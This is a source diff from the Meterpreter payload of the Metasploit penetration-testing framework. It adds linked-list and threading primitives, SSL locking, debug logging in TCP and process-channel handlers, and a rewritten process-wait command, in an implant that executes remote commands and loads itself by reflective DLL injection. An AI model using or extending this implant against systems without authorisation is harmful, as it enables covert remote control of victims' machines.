||||
return list_push( list, data );
|
||||
}
|
||||
|
||||
/*
|
||||
* Internal function to remove a node from a list. Assumes caller has aquired the appropriate lock first.
|
||||
*/
|
||||
BOOL list_remove_node( LIST * list, NODE * node )
|
||||
{
|
||||
if( list == NULL || node == NULL)
|
||||
return FALSE;
|
||||
|
||||
if( list->count - 1 == 0 )
|
||||
{
|
||||
list->start = NULL;
|
||||
list->end = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
if( list->start == node )
|
||||
{
|
||||
list->start = list->start->next;
|
||||
list->start->prev = NULL;
|
||||
}
|
||||
else if( list->end == node )
|
||||
{
|
||||
list->end = list->end->prev;
|
||||
list->end->next = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
node->next->prev = node->prev;
|
||||
node->prev->next = node->next;
|
||||
}
|
||||
}
|
||||
|
||||
list->count -= 1;
|
||||
|
||||
node->next = NULL;
|
||||
|
||||
node->prev = NULL;
|
||||
|
||||
free( node );
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Remove a given data item from the list. Assumes data items are unqique as only the first occurrence is removed.
|
||||
*/
|
||||
BOOL list_remove( LIST * list, LPVOID data )
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
NODE * current_node = NULL;
|
||||
|
||||
if( list == NULL || data == NULL )
|
||||
return FALSE;
|
||||
|
||||
lock_acquire( list->lock );
|
||||
|
||||
current_node = list->start;
|
||||
|
||||
while( current_node != NULL )
|
||||
{
|
||||
if( current_node->data == data )
|
||||
break;
|
||||
|
||||
current_node = current_node->next;
|
||||
}
|
||||
|
||||
result = list_remove_node( list, current_node );
|
||||
|
||||
lock_release( list->lock );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Remove a list item at the specified index.
|
||||
*/
|
||||
BOOL list_delete( LIST * list, DWORD index )
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
LPVOID data = NULL;
|
||||
NODE * current_node = NULL;
|
||||
|
||||
if( list == NULL )
|
||||
return FALSE;
|
||||
|
||||
lock_acquire( list->lock );
|
||||
|
||||
if( list->count > index )
|
||||
{
|
||||
current_node = list->start;
|
||||
|
||||
while( current_node != NULL )
|
||||
{
|
||||
if( index == 0 )
|
||||
{
|
||||
result = list_remove_node( list, current_node );
|
||||
break;
|
||||
}
|
||||
|
||||
current_node = current_node->next;
|
||||
|
||||
index--;
|
||||
}
|
||||
}
|
||||
|
||||
lock_release( list->lock );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Push a data item onto the end of the list.
|
||||
*/
|
||||
BOOL list_push( LIST * list, LPVOID data )
|
||||
{
|
||||
NODE * node = NULL;
|
||||
|
||||
if( list == NULL )
|
||||
return FALSE;
|
||||
|
||||
node = (NODE *)malloc( sizeof(NODE) );
|
||||
if( node == NULL )
|
||||
return FALSE;
|
||||
|
||||
node->data = data;
|
||||
node->next = NULL;
|
||||
node->prev = NULL;
|
||||
|
||||
lock_acquire( list->lock );
|
||||
|
||||
if ( list->end != NULL )
|
||||
{
|
||||
list->end->next = node;
|
||||
|
||||
node->prev = list->end;
|
||||
|
||||
list->end = node;
|
||||
}
|
||||
else
|
||||
{
|
||||
list->start = node;
|
||||
list->end = node;
|
||||
}
|
||||
|
||||
list->count += 1;
|
||||
|
||||
lock_release( list->lock );
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Pop a data value off the end of the list.
|
||||
*/
|
||||
LPVOID list_pop( LIST * list )
|
||||
{
|
||||
LPVOID data = NULL;
|
||||
|
||||
if( list == NULL )
|
||||
return NULL;
|
||||
|
||||
lock_acquire( list->lock );
|
||||
|
||||
if( list->end != NULL )
|
||||
{
|
||||
data = list->end->data;
|
||||
|
||||
list_remove_node( list, list->end );
|
||||
}
|
||||
|
||||
lock_release( list->lock );
|
||||
|
||||
return data;
|
||||
}
|
43
c/meterpreter/source/common/list.h
Normal file
43
c/meterpreter/source/common/list.h
Normal file
@ -0,0 +1,43 @@
|
||||
#ifndef _METERPRETER_LIB_LIST_H
|
||||
#define _METERPRETER_LIB_LIST_H
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
typedef struct _NODE
|
||||
{
|
||||
struct _NODE * next;
|
||||
struct _NODE * prev;
|
||||
LPVOID data;
|
||||
} NODE;
|
||||
|
||||
typedef struct _LIST
|
||||
{
|
||||
NODE * start;
|
||||
NODE * end;
|
||||
DWORD count;
|
||||
LOCK * lock;
|
||||
} LIST;
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
LIST * list_create( VOID );
|
||||
|
||||
VOID list_destroy( LIST * list );
|
||||
|
||||
DWORD list_count( LIST * list );
|
||||
|
||||
LPVOID list_get( LIST * list, DWORD index );
|
||||
|
||||
BOOL list_add( LIST * list, LPVOID data );
|
||||
|
||||
BOOL list_remove( LIST * list, LPVOID data );
|
||||
|
||||
BOOL list_delete( LIST * list, DWORD index );
|
||||
|
||||
BOOL list_push( LIST * list, LPVOID data );
|
||||
|
||||
LPVOID list_pop( LIST * list );
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
#endif
|
@ -14,6 +14,17 @@ Remote *remote_allocate(SOCKET fd)
|
||||
|
||||
// Set the file descriptor
|
||||
remote->fd = fd;
|
||||
|
||||
remote->lock = lock_create();
|
||||
|
||||
|
||||
// If we failed to create the lock we must fail to create the remote
|
||||
// as we wont be able to synchronize communication correctly.
|
||||
if( remote->lock == NULL )
|
||||
{
|
||||
remote_deallocate( remote );
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
return remote;
|
||||
@ -22,10 +33,13 @@ Remote *remote_allocate(SOCKET fd)
|
||||
/*
|
||||
* Deallocate a remote context
|
||||
*/
|
||||
VOID remote_deallocate(Remote *remote)
|
||||
VOID remote_deallocate( Remote * remote )
|
||||
{
|
||||
if (remote->fd)
|
||||
closesocket(remote->fd);
|
||||
if( remote->fd )
|
||||
closesocket( remote->fd );
|
||||
|
||||
if( remote->lock )
|
||||
lock_destroy( remote->lock );
|
||||
|
||||
free(remote);
|
||||
}
|
||||
|
@ -2,7 +2,7 @@
|
||||
#define _METERPRETER_LIB_REMOTE_H
|
||||
|
||||
#include "crypto.h"
|
||||
|
||||
#include "thread.h"
|
||||
/*
|
||||
* Remote context allocation
|
||||
*
|
||||
@ -16,6 +16,7 @@ typedef struct _Remote
|
||||
SSL_METHOD *meth;
|
||||
SSL_CTX *ctx;
|
||||
SSL *ssl;
|
||||
LOCK * lock; // lock must be acquired before doing any OpenSSL related action.
|
||||
} Remote;
|
||||
|
||||
Remote *remote_allocate(SOCKET fd);
|
||||
|
@ -6,9 +6,10 @@
|
||||
|
||||
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID context);
|
||||
|
||||
LINKAGE DWORD scheduler_insert_waitable(HANDLE waitable, LPVOID context,
|
||||
WaitableNotifyRoutine routine);
|
||||
LINKAGE DWORD scheduler_remove_waitable(HANDLE waitable);
|
||||
LINKAGE DWORD scheduler_run(Remote *remote, DWORD timeout);
|
||||
LINKAGE DWORD scheduler_initialize( Remote * remote );
|
||||
LINKAGE DWORD scheduler_destroy( VOID );
|
||||
LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine );
|
||||
LINKAGE DWORD scheduler_remove_waitable( HANDLE waitable );
|
||||
LINKAGE DWORD THREADCALL scheduler_waitable_thread( THREAD * thread );
|
||||
|
||||
#endif
|
||||
|
248
c/meterpreter/source/common/thread.c
Normal file
248
c/meterpreter/source/common/thread.c
Normal file
@ -0,0 +1,248 @@
|
||||
#include "common.h"
|
||||
|
||||
// thread.c contains wrappers for the primitives of locks, events and threads for use in
|
||||
// the multithreaded meterpreter. This is the win32/win64 implementation.
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
/*
|
||||
* Create a new lock.
|
||||
*/
|
||||
LOCK * lock_create( VOID )
|
||||
{
|
||||
LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) );
|
||||
if( lock != NULL )
|
||||
{
|
||||
memset( lock, 0, sizeof( LOCK ) );
|
||||
|
||||
InitializeCriticalSection( &lock->cs );
|
||||
}
|
||||
return lock;
|
||||
}
|
||||
|
||||
/*
|
||||
* Destroy a lock that is no longer required.
|
||||
*/
|
||||
VOID lock_destroy( LOCK * lock )
|
||||
{
|
||||
if( lock != NULL )
|
||||
{
|
||||
lock_release( lock );
|
||||
|
||||
DeleteCriticalSection( &lock->cs );
|
||||
|
||||
free( lock );
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Acquire a lock and block untill it is acquired.
|
||||
*/
|
||||
VOID lock_acquire( LOCK * lock )
|
||||
{
|
||||
if( lock != NULL )
|
||||
EnterCriticalSection( &lock->cs );
|
||||
}
|
||||
|
||||
/*
|
||||
* Atempt to acquire a lock, returning true if lock is acquired or allready owned.
|
||||
* Returns false if another thread has acquired the lock. This function does not block.
|
||||
*/
|
||||
BOOL lock_poll( LOCK * lock )
|
||||
{
|
||||
if( lock != NULL )
|
||||
return TryEnterCriticalSection( &lock->cs );
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Release a lock previously held.
|
||||
*/
|
||||
VOID lock_release( LOCK * lock )
|
||||
{
|
||||
if( lock != NULL )
|
||||
LeaveCriticalSection( &lock->cs );
|
||||
}
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
/*
|
||||
* Create a new event which can be signaled/polled/and blocked on.
|
||||
*/
|
||||
EVENT * event_create( VOID )
|
||||
{
|
||||
EVENT * event = NULL;
|
||||
|
||||
event = (EVENT *)malloc( sizeof( EVENT ) );
|
||||
if( event == NULL )
|
||||
return NULL;
|
||||
|
||||
memset( event, 0, sizeof( EVENT ) );
|
||||
|
||||
event->handle = CreateEvent( NULL, FALSE, FALSE, NULL );
|
||||
if( event->handle == NULL )
|
||||
{
|
||||
free( event );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return event;
|
||||
}
|
||||
|
||||
/*
|
||||
* Destroy an event.
|
||||
*/
|
||||
BOOL event_destroy( EVENT * event )
|
||||
{
|
||||
if( event == NULL )
|
||||
return FALSE;
|
||||
|
||||
CloseHandle( event->handle );
|
||||
|
||||
free( event );
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Signal an event.
|
||||
*/
|
||||
BOOL event_signal( EVENT * event )
|
||||
{
|
||||
if( event == NULL )
|
||||
return FALSE;
|
||||
|
||||
if( SetEvent( event->handle ) == 0 )
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly.
|
||||
* If timeout is 0 this function does not block but returns immediately.
|
||||
*/
|
||||
BOOL event_poll( EVENT * event, DWORD timeout )
|
||||
{
|
||||
if( event == NULL )
|
||||
return FALSE;
|
||||
|
||||
if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 )
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
/*
|
||||
* Create a new thread in a suspended state.
|
||||
*/
|
||||
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 )
|
||||
{
|
||||
THREAD * thread = NULL;
|
||||
|
||||
if( funk == NULL )
|
||||
return NULL;
|
||||
|
||||
thread = (THREAD *)malloc( sizeof( THREAD ) );
|
||||
if( thread == NULL )
|
||||
return NULL;
|
||||
|
||||
memset( thread, 0, sizeof( THREAD ) );
|
||||
|
||||
thread->sigterm = event_create();
|
||||
if( thread->sigterm == NULL )
|
||||
{
|
||||
free( thread );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
thread->parameter1 = param1;
|
||||
|
||||
thread->parameter2 = param2;
|
||||
|
||||
thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );
|
||||
if( thread->handle == NULL )
|
||||
{
|
||||
event_destroy( thread->sigterm );
|
||||
free( thread );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return thread;
|
||||
}
|
||||
|
||||
/*
|
||||
* Run a thread.
|
||||
*/
|
||||
BOOL thread_run( THREAD * thread )
|
||||
{
|
||||
if( thread == NULL )
|
||||
return FALSE;
|
||||
|
||||
if( ResumeThread( thread->handle ) < 0 )
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Signals the thread to terminate. It is the responsibility of the thread to wait for and process this signal.
|
||||
* Should be used to signal the thread to terminate.
|
||||
*/
|
||||
BOOL thread_sigterm( THREAD * thread )
|
||||
{
|
||||
if( thread == NULL )
|
||||
return FALSE;
|
||||
|
||||
return event_signal( thread->sigterm );
|
||||
}
|
||||
|
||||
/*
|
||||
* Terminate a thread. Use with caution! better to signal your thread to terminate and wait for it to do so.
|
||||
*/
|
||||
BOOL thread_kill( THREAD * thread )
|
||||
{
|
||||
if( thread == NULL )
|
||||
return FALSE;
|
||||
|
||||
if( TerminateThread( thread->handle, -1 ) == 0 )
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Blocks untill the thread has terminated.
|
||||
*/
|
||||
BOOL thread_join( THREAD * thread )
|
||||
{
|
||||
if( thread == NULL )
|
||||
return FALSE;
|
||||
|
||||
if( WaitForSingleObject( thread->handle, INFINITE ) == WAIT_OBJECT_0 )
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Destroys a previously created thread. Note, this does not terminate the thread. You must signal your
|
||||
* thread to terminate and wait for it to do so (via thread_signal/thread_join).
|
||||
*/
|
||||
BOOL thread_destroy( THREAD * thread )
|
||||
{
|
||||
if( thread == NULL )
|
||||
return FALSE;
|
||||
|
||||
event_destroy( thread->sigterm );
|
||||
|
||||
CloseHandle( thread->handle );
|
||||
|
||||
free( thread );
|
||||
|
||||
return TRUE;
|
||||
}
|
67
c/meterpreter/source/common/thread.h
Normal file
67
c/meterpreter/source/common/thread.h
Normal file
@ -0,0 +1,67 @@
|
||||
#ifndef _METERPRETER_LIB_THREAD_H
|
||||
#define _METERPRETER_LIB_THREAD_H
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
typedef struct _LOCK
|
||||
{
|
||||
CRITICAL_SECTION cs;
|
||||
} LOCK, * LPLOCK;
|
||||
|
||||
typedef struct _EVENT
|
||||
{
|
||||
HANDLE handle;
|
||||
} EVENT, * LPEVENT;
|
||||
|
||||
typedef struct _THREAD
|
||||
{
|
||||
DWORD id;
|
||||
HANDLE handle;
|
||||
EVENT * sigterm;
|
||||
LPVOID parameter1;
|
||||
LPVOID parameter2;
|
||||
} THREAD, * LPTHREAD;
|
||||
|
||||
#define THREADCALL __stdcall
|
||||
|
||||
typedef DWORD (THREADCALL * THREADFUNK)( THREAD * thread );
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
LOCK * lock_create( VOID );
|
||||
|
||||
VOID lock_destroy( LOCK * lock );
|
||||
|
||||
VOID lock_acquire( LOCK * lock );
|
||||
|
||||
BOOL lock_poll( LOCK * lock );
|
||||
|
||||
VOID lock_release( LOCK * lock );
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
EVENT * event_create( VOID );
|
||||
|
||||
BOOL event_destroy( EVENT * event );
|
||||
|
||||
BOOL event_signal( EVENT * event );
|
||||
|
||||
BOOL event_poll( EVENT * event, DWORD timeout );
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 );
|
||||
|
||||
BOOL thread_run( THREAD * thread );
|
||||
|
||||
BOOL thread_sigterm( THREAD * thread );
|
||||
|
||||
BOOL thread_kill( THREAD * thread );
|
||||
|
||||
BOOL thread_join( THREAD * thread );
|
||||
|
||||
BOOL thread_destroy( THREAD * thread );
|
||||
|
||||
/*****************************************************************************************/
|
||||
|
||||
#endif
|
@ -16,6 +16,8 @@ static DWORD tcp_channel_client_write(Channel *channel, Packet *request,
|
||||
DWORD result= ERROR_SUCCESS;
|
||||
LONG written = 0;
|
||||
|
||||
dprintf( "[TCP] tcp_channel_client_write. channel=0x%08X, buffsize=%d", channel, bufferSize );
|
||||
|
||||
// Write a chunk
|
||||
if ((written = send(ctx->fd, buffer, bufferSize, 0)) <= 0)
|
||||
{
|
||||
@ -38,6 +40,8 @@ static DWORD tcp_channel_client_close(Channel *channel, Packet *request,
|
||||
{
|
||||
TcpClientContext *ctx = (TcpClientContext *)context;
|
||||
|
||||
dprintf( "[TCP] tcp_channel_client_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
|
||||
if (ctx)
|
||||
{
|
||||
// Set the context channel to NULL so we don't try to close the
|
||||
@ -145,8 +149,6 @@ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet)
|
||||
* Creates a connection to a remote host and builds a logical channel to
|
||||
* represent it.
|
||||
*
|
||||
* TODO: This needs to be done in a non-blocking fashion or in the context of a
|
||||
* worker thread.
|
||||
*/
|
||||
DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost,
|
||||
USHORT remotePort, Channel **outChannel)
|
||||
@ -161,6 +163,8 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost,
|
||||
if (outChannel)
|
||||
*outChannel = NULL;
|
||||
|
||||
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d", remoteHost, remotePort );
|
||||
|
||||
do
|
||||
{
|
||||
// Allocate a client socket
|
||||
@ -235,7 +239,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost,
|
||||
{
|
||||
WSAEventSelect(ctx->fd, ctx->notify, FD_READ|FD_CLOSE);
|
||||
|
||||
scheduler_insert_waitable(ctx->notify, ctx,
|
||||
scheduler_insert_waitable( ctx->notify, ctx,
|
||||
(WaitableNotifyRoutine)tcp_channel_client_local_notify);
|
||||
}
|
||||
|
||||
@ -263,6 +267,8 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost,
|
||||
*/
|
||||
VOID free_socket_context(SocketContext *ctx)
|
||||
{
|
||||
dprintf( "[TCP] free_socket_context. ctx=0x%08X", ctx );
|
||||
|
||||
// Close the socket and notification handle
|
||||
if (ctx->fd)
|
||||
closesocket(ctx->fd);
|
||||
@ -291,21 +297,26 @@ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
|
||||
Channel *channel = NULL;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD how;
|
||||
dprintf( "[TCP] entering request_net_socket_tcp_shutdown" );
|
||||
|
||||
// Find the associated channel
|
||||
channel = channel_find_by_id(packet_get_tlv_value_uint(packet,
|
||||
TLV_TYPE_CHANNEL_ID));
|
||||
channel = channel_find_by_id(packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID));
|
||||
|
||||
how = packet_get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW);
|
||||
|
||||
dprintf( "[TCP] request_net_socket_tcp_shutdown. channel=0x%08X", channel );
|
||||
|
||||
// If the channel and channel context are valid...
|
||||
if ((channel) &&
|
||||
((ctx = channel_get_native_io_context(channel))))
|
||||
{
|
||||
if (shutdown(ctx->fd, how) == SOCKET_ERROR)
|
||||
result = WSAGetLastError();
|
||||
else
|
||||
free_socket_context( ctx );
|
||||
}
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
dprintf( "[TCP] leaving request_net_socket_tcp_shutdown" );
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -89,6 +89,10 @@ Command customCommands[] =
|
||||
{ request_sys_process_get_info, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_wait",
|
||||
{ request_sys_process_wait, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Image
|
||||
{ "stdapi_sys_process_image_load",
|
||||
|
@ -93,6 +93,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
BOOL doInMemory = FALSE;
|
||||
HANDLE token, pToken;
|
||||
|
||||
dprintf( "[PROCESS] request_sys_process_execute" );
|
||||
|
||||
// Initialize the startup information
|
||||
memset(&si, 0, sizeof(si));
|
||||
|
||||
@ -151,13 +153,12 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
|
||||
{
|
||||
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
|
||||
ProcessChannelContext *ctx = NULL;
|
||||
ProcessChannelContext * ctx = NULL;
|
||||
PoolChannelOps chops;
|
||||
Channel *newChannel;
|
||||
|
||||
// Allocate the channel context
|
||||
if (!(ctx = (ProcessChannelContext *)malloc(
|
||||
sizeof(ProcessChannelContext))))
|
||||
if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
@ -592,6 +593,8 @@ DWORD process_channel_read(Channel *channel, Packet *request,
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
dprintf( "[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
|
||||
if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL))
|
||||
result = GetLastError();
|
||||
|
||||
@ -608,6 +611,8 @@ DWORD process_channel_write(Channel *channel, Packet *request,
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
|
||||
if (!WriteFile(ctx->pStdin, buffer, bufferSize, bytesWritten, NULL))
|
||||
result = GetLastError();
|
||||
|
||||
@ -617,16 +622,20 @@ DWORD process_channel_write(Channel *channel, Packet *request,
|
||||
/*
|
||||
* Closes the channels that were opened to the process.
|
||||
*/
|
||||
DWORD process_channel_close(Channel *channel, Packet *request,
|
||||
LPVOID context)
|
||||
DWORD process_channel_close(Channel *channel, Packet *request, LPVOID context)
|
||||
{
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
|
||||
if (channel_is_interactive(channel))
|
||||
scheduler_remove_waitable(ctx->pStdout);
|
||||
|
||||
CloseHandle(ctx->pStdout);
|
||||
// Note: We dont close the handle ctx->pStdout as this will introduce a synchronization
|
||||
// problem with the channels interactive thread, specifically the call to WaitForMultipleObjects
|
||||
// will have undefined behaviour. The interactive thread will close the handle instead.
|
||||
|
||||
CloseHandle(ctx->pStdin);
|
||||
|
||||
free(ctx);
|
||||
@ -654,69 +663,52 @@ DWORD process_channel_interact_notify(Remote *remote, Channel *channel)
|
||||
bytesRead, NULL);
|
||||
// Otherwise, if things fail, close the channel
|
||||
else if (GetLastError() != ERROR_SUCCESS)
|
||||
channel_close(channel, remote, NULL, 0, NULL);
|
||||
{
|
||||
process_channel_close( channel, NULL, ctx );
|
||||
channel_close( channel, remote, NULL, 0, NULL );
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Enables or disables interactivity with the standard output
|
||||
* handle on the channel
|
||||
* Enables or disables interactivity with the standard output handle on the channel
|
||||
*/
|
||||
DWORD process_channel_interact(Channel *channel, Packet *request,
|
||||
LPVOID context, BOOLEAN interact)
|
||||
DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context, BOOLEAN interact)
|
||||
{
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
dprintf( "[PROCESS] process_channel_interact. channel=0x%08X, ctx=0x%08X, interact=%d", channel, ctx, interact );
|
||||
|
||||
// If the remote side wants to interact with us, schedule the stdout handle
|
||||
// as a waitable item
|
||||
if (interact)
|
||||
result = scheduler_insert_waitable(ctx->pStdout, channel,
|
||||
(WaitableNotifyRoutine)process_channel_interact_notify);
|
||||
// Otherwise, remove it
|
||||
else
|
||||
result = scheduler_insert_waitable(ctx->pStdout, channel, (WaitableNotifyRoutine)process_channel_interact_notify);
|
||||
else // Otherwise, remove it
|
||||
result = scheduler_remove_waitable(ctx->pStdout);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* The routine to send a notify request (responseless request) that
|
||||
* the wait has finished...
|
||||
*/
|
||||
DWORD process_wait_notify(Remote * remote, HANDLE handle)
|
||||
{
|
||||
|
||||
Packet * request = packet_create(PACKET_TLV_TYPE_REQUEST, "process_wait_notify");
|
||||
|
||||
packet_add_tlv_uint(request, TLV_TYPE_HANDLE, (DWORD)handle);
|
||||
|
||||
packet_transmit(remote, request, NULL);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Wait on a process handle until it terminates
|
||||
* Wait on a process handle until it terminates.
|
||||
*
|
||||
* req: TLV_TYPE_HANDLE - The process handle to close.
|
||||
* req: TLV_TYPE_HANDLE - The process handle to wait on.
|
||||
*/
|
||||
DWORD request_sys_process_wait(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
HANDLE handle;
|
||||
DWORD result;
|
||||
Packet * response = packet_create_response( packet );
|
||||
HANDLE handle = NULL;
|
||||
DWORD result = ERROR_INVALID_PARAMETER;
|
||||
|
||||
handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
|
||||
handle = (HANDLE)packet_get_tlv_value_uint( packet, TLV_TYPE_HANDLE );
|
||||
if( handle )
|
||||
{
|
||||
if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 )
|
||||
result = ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
result = scheduler_insert_waitable(
|
||||
handle,
|
||||
(LPVOID)handle,
|
||||
(WaitableNotifyRoutine)process_wait_notify
|
||||
);
|
||||
packet_transmit_response( result, remote, response );
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
return result;
|
||||
}
|
||||
|
@ -67,6 +67,5 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
|
||||
/*
|
||||
* Wait methods
|
||||
*/
|
||||
DWORD process_wait_notify(Remote * remote, HANDLE handle);
|
||||
DWORD request_sys_process_wait(Remote *remote, Packet *packet);
|
||||
#endif
|
||||
|
@ -5,6 +5,7 @@
|
||||
#include <windows.h> // for EXCEPTION_ACCESS_VIOLATION
|
||||
#include <excpt.h>
|
||||
|
||||
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
|
||||
|
||||
// include the Reflectiveloader() function
|
||||
#include "../ReflectiveDLLInjection/ReflectiveLoader.c"
|
||||
@ -26,93 +27,84 @@ int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
|
||||
#define ExitThread(x) exit((x))
|
||||
#endif
|
||||
|
||||
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
|
||||
|
||||
#define PREPEND_ERROR "### Error: "
|
||||
#define PREPEND_INFO "### Info : "
|
||||
#define PREPEND_WARN "### Warn : "
|
||||
|
||||
static DWORD monitor_loop(Remote *remote);
|
||||
static DWORD negotiate_ssl(Remote *remote);
|
||||
static void ssl_debug_log( void *ctx, int level, char *str );
|
||||
static void flush_socket(Remote *remote);
|
||||
|
||||
DWORD server_setup(SOCKET fd)
|
||||
{
|
||||
Remote *remote = NULL;
|
||||
DWORD res = 0;
|
||||
#ifdef _UNIX
|
||||
int local_error = 0;
|
||||
#endif
|
||||
// if hAppInstance is still == NULL it means that we havent been
|
||||
// reflectivly loaded so we must patch in the hAppInstance value
|
||||
// for use with loading server extensions later.
|
||||
InitAppInstance();
|
||||
srand((unsigned int)time(NULL));
|
||||
|
||||
__try
|
||||
{
|
||||
/*
|
||||
* This thread is the main server thread which we use to syncronize a gracefull
|
||||
* shutdown of the server during process migration.
|
||||
*/
|
||||
THREAD serverThread = {0};
|
||||
|
||||
do
|
||||
{
|
||||
if (!(remote = remote_allocate(fd)))
|
||||
{
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
break;
|
||||
}
|
||||
|
||||
// Do not allow the file descriptor to be inherited by child
|
||||
// processes
|
||||
SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0);
|
||||
|
||||
// Flush the socket handle
|
||||
dprintf("Flushing the socket handle...");
|
||||
flush_socket(remote);
|
||||
|
||||
// Initialize SSL on the socket
|
||||
dprintf("Negotiating SSL...");
|
||||
negotiate_ssl(remote);
|
||||
|
||||
// Register extension dispatch routines
|
||||
dprintf("Registering dispatch routines...");
|
||||
register_dispatch_routines();
|
||||
|
||||
dprintf("Entering the monitor loop...");
|
||||
// Keep processing commands
|
||||
res = monitor_loop(remote);
|
||||
|
||||
dprintf("Deregistering dispatch routines...");
|
||||
// Clean up our dispatch routines
|
||||
deregister_dispatch_routines();
|
||||
|
||||
} while (0);
|
||||
|
||||
dprintf("Closing down SSL...");
|
||||
SSL_free(remote->ssl);
|
||||
SSL_CTX_free(remote->ctx);
|
||||
|
||||
if (remote)
|
